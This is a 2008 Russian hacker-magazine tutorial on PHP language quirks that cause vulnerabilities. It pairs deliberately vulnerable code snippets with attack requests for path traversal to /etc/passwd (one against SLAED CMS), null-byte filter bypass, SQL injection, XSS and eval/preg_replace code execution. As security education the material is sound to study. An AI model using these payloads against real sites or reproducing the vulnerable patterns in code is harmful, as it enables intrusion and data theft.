Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 110, ФЕВРАЛЬ 2008 г.

Роковые ошибки PHP v.2

Elekt

Хакер, номер #110, стр. 110-068-1

Углубляемся в критические уязвимости

Поиск уязвимостей медленно, но верно переходит на новую качественную ступень - исследование платформы/интерпретатора, изучение особенностей работы критичных для безопасности функций, пограничные состояния, переполнения буфера. Старые и элементарные баги неумолимо изживают себя. Тот же www.hardened-PHP.net ярко показал современный уровень дыр и эксплойтов. Происходит своего рода естественный отбор - либо ты учишься чему-то новому, либо уходишь с хак-сцены. Сейчас я покажу тебе, как остаться профи-хакером. Не без помощи PHP-багов, конечно.

Вспомним старое

Перечитай первую часть этой статьи, где мы знакомили тебя с распространенными PHP-уязвимостями. Сегодня я расскажу тебе об особенностях PHP, которые обязан знать каждый уважающий себя багоискатель. И с опорой на первую часть ты не только сможешь расковырять пачку двигов, но и поймешь, что век PHP-багов - отнюдь не ХХ век.

Все только начинается, тебе повезло, что ты здесь и сейчас. Учимся думать - и все получится, поскольку мозг - наш главный инструмент.

Шутки с глобалсом

Баг, представляющий собой конструкцию «index.php?GLOBALS[file]=hehe!», медленно, но верно уходит в историю. Под него существует немало эксплойтов, например, от небезызвестного rgod'a. В достаточно устаревших версиях PHP<=4.3.10 и PHP<=5.0.5 есть возможность определить переменную через массив GLOBALS, используя в GPC(GET/POST/COOKIE) запрос вида:

/index.php?GLOBALS[foobar]=blaaa

Смотрим на результат:

print_r($GLOBALS);

А поскольку суперглобальный массив GLOBALS проецируется на все переменные:

print_r($foobar).

Evil Overwrite

В первой части ты уже читал про баг с import_request_variables('GPC'), здесь же я опишу интересную особенность адской перезаписи. 'GPC' в аргументе функции означает порядок, в соответствии с которым будут переписаны переменные. То есть в этом случае сначала перепишутся значения из GET, потом - из POST и только после - из COOKIE. Учитывая это, подумай, что выдаст этот код?

/index.php?a=111

POST: a=222

COOKIE: a=333;

import_request_variables('GPC');

print $a;

Правильно! Код вернет 333. Если бы нами была указана последовательность CGP, то ответ бы был 222 (последним перезаписался бы POST). Используя эту особенность, можно виртуозно обходить любые фильтры защиты.

Реальный пример уязвимого кода «самой безопасной» SLAED CMS 3.x (мой пламенный привет автору!):

if (isset($_GET['name']) || isset($_POST['name'])) {

$name = trim(isset($_POST['name']) ? $_POST['name'] : $_GET['name']);

if (preg_match("/[^a-zA-Z0-9_]/", $name)) {

Header("Location: index.php");

exit;

} // Офигительная защита. Но смотрим, что происходит дальше:

// Register globals On

if ($old_modules == 1) {

if (!ini_get("register_globals")) @import_request_variables('GPC');

// Тут мы можем легко и просто перезаписать переменную $name!

}

if (file_exists("modules/$name/".$file.".php")) {

include("modules/$name/".$file.".php");

// О, оказывается, $name фигурирует и в путях!

Ежику понятно, что простым запросом типа POST можно положить сервер на две лопатки:

/index.php?name=FAQ&file=index

cookie: name=../../.././etc/passwd%00

Вуаля! Что мы получим в ответ? Правильно - /etc/passwd :). И это только начало.

Строковый злободром

Достаточно новый баг (или даже фича) кроется в функции parse_str(). Последняя без второго параметра позволяет аналогично extract() или import_request_variable() переопределить глобальные переменные, в том числе и служебные, как _SERVER, _SESSION, _ENV и GLOBALS. Следующей конструкцией можно внешне перезаписать переменную REMOTE_ADDR (значение которой может быть важно при принятии решения о допуске хакера в админку, например):

/index.php?_SERVER[REMOTE_ADDR]=antichat

Переменная успешно перезапишется при наличии в коде следующих строк:

parse_str($_SERVER['QUERY_STRING']);

print_r($_SERVER);

Причем второй аргумент обязательно должен отсутствовать, иначе перезапишется только он сам и финт ушами не пройдет.

Жесткие и символические ссылки

Использование жестких и символических ссылок открывает потенциальные возможности для проникновения в систему. Ранее недоступные извне переменные могут стать досягаемыми, поскольку они глобализируются и несут реальную угрозу безопасности. Ведь переменные становятся взаимозависимыми, и хакер может легко переопределить критически важные переменные, например идентификаторы сессии.

Рассмотрим следующий запрос к серверу:

/index.php?_SERVER[REMOTE_ADDR]=antichat.ru&_SESSION[auth]=bugaga!

А также бажный код движка, содержащий строки:

while(list($key,$val)=each($_GET))

{ $$key=$val; }

echo $_SERVER['REMOTE_ADDR'];

echo $_SESSION['auth'];

А теперь догадайся с трех раз, какие значения окажутся на местах измененных переменных (подробное описание сабжа смотри на странице www.php.su/learnphp/?re).

Кроме вышесказанного стоит упомянуть, что благодаря глобализации переменных открывается возможность использовать UNSET-атаку даже при выключенном register_globals! Причем ни import_request_variables('GPC'), ни extract() такого же эффекта не дают.

ini_set() и ini_get()

Использование ini_set() позволяет изменять некоторые значения опций конфигурации. Во-первых, далеко не все значения могут быть изменены из текущего скрипта. Ознакомься с полным списком здесь - http://php.su/functions/?ini_set и обрати внимание на «Определение констант PHP_INI_*». Ты поймешь, что только опции с флагом PHP_INI_ALL могут быть изменены через ini_set(). Во-вторых, некоторые хостеры не жалуют ini_set(), ini_get() и запрещают их, тем самым делая свой хостинг менее привлекательным для размещения всякой гадости типа веб-ботов, парсеров/грабберов, анонимайзеров и прочей «нежити», которым для комфортной работы требуется изменять стандартные настройки PHP вроде max_execution_time, default_socket_timeout и т.д.

Такой расклад далеко не на пользу легальным программам, особенно если их безопасность строится на ini_set(). Тогда, например, «@ini_set( "register_globals", "0" ); @ini_set( "magic_quotes_gpc", "1" );», используемые в скрипте, не изменят настроек и движок может стать легкой мишенью. То же самое касается и ini_get(), так как в случае его запрета может быть нарушена логика защитного механизма. Примером из практики служит последний громкий эксплойт под PunBB.

ereg() poison NULL-byte

Использование ereg() и его производных (ereg_replace(),mb_ereg_match()) опасно тем, что ereg() не является бинарносовместимой функцией, то есть воспринимает NULL-байт как конец строки и прекращает обработку, что дает возможность обойти любой фильтр.

Рассмотрим два хакерских запроса с кусками уязвимого кода, позволяющими эксплуатировать движок.

/index.php?page=%00../../../../../../../etc/passwd%00blaa

if(ereg('/',$_GET['page'])){die('Include detected!');}

include(getcwd().trim($_GET['page']).'.html');

/index.php?page=%00<script>alert(/antichat.ru/)</script>

if(ereg('<',$_GET['page'])){die('XSS detected!');}

echo $_GET['page'];

Как видишь, обе проверки обходятся NULL-байтом. Функция eregi() имеет аналогичную уязвимость, но в одной из последних версий PHP ее, к сожалению (а может, и к счастью), пропатчили. Поскольку ereg() юзают везде, где только возможно, этот баг образует большой простор для многих типов атак.

$_SERVER[HTTP_X]

Дыры в HTTP-заголовках занимают в моем скромном рейтинге почетное первое место. Это настоящий клад для багоискателей. На этом баге полегло огромное число двигов (точно уже и не сосчитать). Пользуясь случаем, скажу: уважаемые девелоперы, продолжайте и далее доверять всем входящим HTTP-данным, и без работы ни вы, ни мы не останемся!

Напряжем пару извилин мозга и вспомним последний публичный эксплойт под IPB_2.16. Если хорошо порыться в милворме, можно найти XSS и SQL-инъекцию к этому движку. Наиболее часто используемые заголовки - user-agent, referer, accept-language, client-ip, x-forwarded-for, x-real-ip. Их сейчас очень модно отсылать, помещая в HTTP-заголовки. Такой способ часто используется при выполнении команд в эксплойтах (так называемый интерактивный шелл). Пример - последний публичный эксплойт под PunBB с заголовком $_SERVER['HTTP_SHELL'].

magic_quotes_gpc – BUG?

Практически каждый из нас слышал о «магических» кавычках и их роли в SQL-injection. Но мало кто задумывался, что означает gpc. Если мы обратимся к определению, то там ясно сказано: magic_quotes_gpc=ON автоматически слэширует _GET/_POST/_COOKIE и _REQUEST. А остальное, например, $_FILES, $_ENV, $_SERVER, $_SESSION и множество других глобализаций, никто и не думает слэшировать.

А теперь вспомни предыдущий пункт. Да! Юзер-агент, реферер лежат в _SERVER и magic_quotes'ом не обрабатываются. Значит, если программер не позаботился о фильтре, то репутация продукта висит на волоске.

Кроме того, многие защиты, основываясь на «if(get_magic_quotes_gpc())..», используют add~ или stripslashes. Поскольку такой подход применяется ко всем переменным подряд, являясь корректным лишь для GET/POST/COOKIE/REQUEST, то при magic_quotes=ON приложение становится подверженным SQL-атаке в неGPC-массивах. Хочешь примера? Пожалуйста!

if (!get_magic_quotes_gpc())

{

function addslashes_deep($value)

{

$value = is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);

return $value;

}

$_SERVER = array_map('addslashes_deep', $_SERVER);

}

Пусть magic_quotes=ON, тогда User-Agent никоим образом не подвергается addslashes.

intval() и просто одинокий (int)

У PHP-функции intval() есть интересная особенность - она возвращает значение TRUE, если первой в аргументе содержится хотя бы одна цифра. И у разработчиков тоже есть интересная особенность - они периодически используют intval()/(int) в логических условиях, допуская непростительные ошибки. Ведь наличие цифр в строке вовсе не гарантирует отсутствие других символов. В качестве примера рассмотрим ядовитый запрос вкупе с бажным кодом:

/index.php?id=1'"qwerty

$id=$_GET['id'];

if(intval($id) && (int)$id)

{

sql_query("select $id from table_name");

}

else die('Id not integer!');

Несмотря на кажущуюся незначительность бага, встречается он в популярных движках достаточно регулярно. К счастью, для безопасного сравнения можно (и нужно!) использовать is_numeric().

a == 'a' and a === 'a'

Всем известно, что PHP не проверяет равенство типов при двойном знаке равенства (==). В этом случае интерпретатор автоматически приводит их к строковому типу. Для верного сравнения данных разных типов применяется тройной знак «равно» (===). Неправильное использование двойного равно, например в авторизации, может обернуться критической уязвимостью. Пример:

$aaa = 123456;

if( '123456' == $aaa ){echo '<br>ok!';}else{echo '<br>no.';}

if( '123456' === $aaa ){echo '<br>ok!';}else{echo '<br>no.';}

Скрипт выведет следующие значения:

ok!

no.

Как пример - этой уязвимости не так давно был подвержен рhpBB 2.0.8. Однако баг далеко не уникален и встречается в других продуктах и по сей день :).

string or integer?

Задумайся, что будет, если мы попробуем сравнить строку с числом. Несмотря на кажущуюся абсурдность, сравнение состоится! Важно только, чтобы первым символом в строке было число - именно с ним и произойдет сравнение. Пример уязвимого кода:

if(isset($id) && $id > 5 ) // якобы фильтр

{

query("select name from table where id='$id'");

}

Поставим в качестве значения «$id "8' or 1=1/*";» и лишний раз убедимся, что дружественность PHP к кодеру порой губительна :).

%2527 => %27 => ' , %2522 => %22 => "

Двойное URL-кодирование параметра вкупе с urldecode() дает возможность обойти magic_quotes/фильтры и выполнить самые экзотические SQL-команды. Здесь %25 - URL-символ знака процента «%». Таким образом, после преобразования мы получаем неэкранированную кавычку. Пример уязвимого кода:

$login=addslashes($_POST['login']);

mysql_query("SELECT id from users where name='".urldecode($login)."'");

Запрос вида «/index.php?login=hack%2527+or+1=1+limit+1/*» позволит хакеру добиться грязных целей.

Часто баг можно встретить в обработке кукисов или _SERVER[QUERY_STRING]. Подобная уязвимость существовала в ранних версиях phpBB и совместно с preg_replace(//e) давала выполнение произвольного кода.

base64_encode/base64_decode

Кодирование данных в base64-виде - излюбленный прием веб-мастеров. Как следствие, в закодированном виде слэширования, конечно же, не происходит, что может повлечь за собой SQL-инъекцию:

$pass=base64_decode(addslashes($_COOKIE['password']));

mysql_query=("SELECT id from table where pass='$pass'"); // естественно, в закодированных данных не произойдет никакой фильтрации

Если вспомнить практику хакера, то всем известный PHPNUKE долгое время страдал такой болезнью.

index.php?a[]=antichat

Не спеши пропускать абзац - тебя ждет не только раскрытие установочного пути. Зачастую данные извлекаются из глобальных массивов без проверки параметра, массив он или строка (число). Здесь можно получить информацию от раскрытия пути до обхода проверок.

А теперь вспомни про функцию, которая чаще всего работает с глобальными массивами, - addslashes()! Это уже действительно серьезно. Многие проверки в движках легко обходятся при неожиданной встрече с массивом. Пример безопасной проверки с использованием рекурсивного самовызова:

if (!get_magic_quotes_gpc())

{

function addslashes_deep($value)

{

$value = is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);

return $value;

}

$_GET = array_map('addslashes_deep', $_GET);

$_POST = array_map('addslashes_deep', $_POST);

$_COOKIE = array_map('addslashes_deep', $_COOKIE);

$_REQUEST = array_map('addslashes_deep', $_REQUEST);

}

preg_replace() with /e

Это достаточно известный хакерский трюк для выполнения команд там, где нельзя, но очень хочется. При использовании модификатора /e(~e) в регулярке PHP-код, содержащийся во втором аргументе, как ни странно, выполнится.

preg_replace("/345/e",$_GET['search'],$_GET['match']);

Догадайся, как поведет себя скрипт при запросе:

/index.php?match=123456&search=phpinfo();

Однако даже если модификатор /e отсутствует, мы можем внедрить его, обрубив регулярку NULL-байтом. Баг достаточно известный - эксплойт под phpbb=2.0.17 как раз на нем и был основан. Пример:

/index.php?match=123456&search=phpinfo();&modifi=345/e%00

preg_replace('/'.$_GET['modifi'].'/',$_GET['search'],$_GET['match']);

Именно функцию preg_replace() ищут хакеры в первую очередь (после eval(), конечно), желая отыскать заветное выполнение произвольного PHP-кода.

Динамическое определение переменных

Иногда перед кодером встает необходимость динамически определить переменную, когда задается произвольно не только значение, но и ее имя. Например, данные получают из БД, конфига, темплейта или напрямую от пользователей, а после проходят эту операцию. Опасность заключается в том, что при отсутствии должной фильтрации атакующий получит веб-шелл на сервере. Пример уязвимого кода:

$new = "antichat";

$value = $_GET['value'];

eval("$new = $value;");

Мы наблюдаем красивое и эффективное выполнение команд при указании запроса вида «/index.php?value=;phpinfo();». Но и без эвала это несет угрозу неконтролируемой глобализации произвольных переменных. Еще один пример потенциально уязвимого кода:

/index.php?var=auth&val=OK;

$auth='NO';

$new = $_GET['var'];

${ $new } = $_GET['val'];

echo $auth;

Баг в create_function()

Создание функций, как частный случай обратного вызова функций, - один из самых красивых способов выполнения произвольного кода. Без особых комментариев рассмотрим пример использования create_function():

/index.php?a=phpinfo();

$a=$_GET['a'];

$new = create_function('$x', "return $a;");

$new('');

Как видишь, благодаря тому что мы можем влиять на возвращаемый результат, возможно выполнение произвольного кода.

Практическое нахождение такой уязвимости обусловлено особой удачливостью твоего юнита :), а также редкой криворукостью кодера. Как пример - нашумевший эксплойт Шанкара для выполнения произвольных PHP-команд в TikiWiki.

header("Location: ... die();

Поставив перенаправление, программист порой забывает добавить после него exit() или die(). Таким образом, код продолжает выполняться. Используя любую HTTP-тулзу (AccessDiver, intruder, inetcrack) и отключив поддержку JavaScript в браузере, атакующий увидит последствие этого бага. Подобная ситуация - серьезная брешь в безопасности, ведь Location часто используют при неверной авторизации или в механизмах обработки ошибок. Пример безопасного кода:

header("Location: htpp://antichat.ru");

die() or exit();

Мне известны по крайней мере два весьма популярных движка, страдающих такой болезнью. Думаю, если грамотно покопать исходники, можно найти подобный баг в известных проектах.

EOF

С точки зрения кодера, многих из описанных уязвимостей вообще не существует, поскольку копаться в тонкостях PHP – неблагодарная и, что самое главное, неоплачиваемая работа. Потому у нас всегда будет лишний козырь. Эти баги были, есть и будут. Вне зависимости от того, сколько раз об этом напишут и скажут. Описанным уязвимостям подвержены многие и многие продукты. И именно нам еще раз выпадает честь и удовольствие это подтвердить, чем мы вскоре и займемся на практике, но это уже совсем другая история :).

WWW

INFO

Практическое применение описанных методов ищи в следующих моих статях - мы напишем рабочий эксплойт!

Если ты хочешь со мной что-то обсудить, ты всегда сможешь найти меня здесь: http://forum.antichat.ru/member.php?userid=20674.

DVD

На нашем DVD ты найдешь все тулзы, упомянутые в этой статье.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Содержание
ttfb: 5.648136138916 ms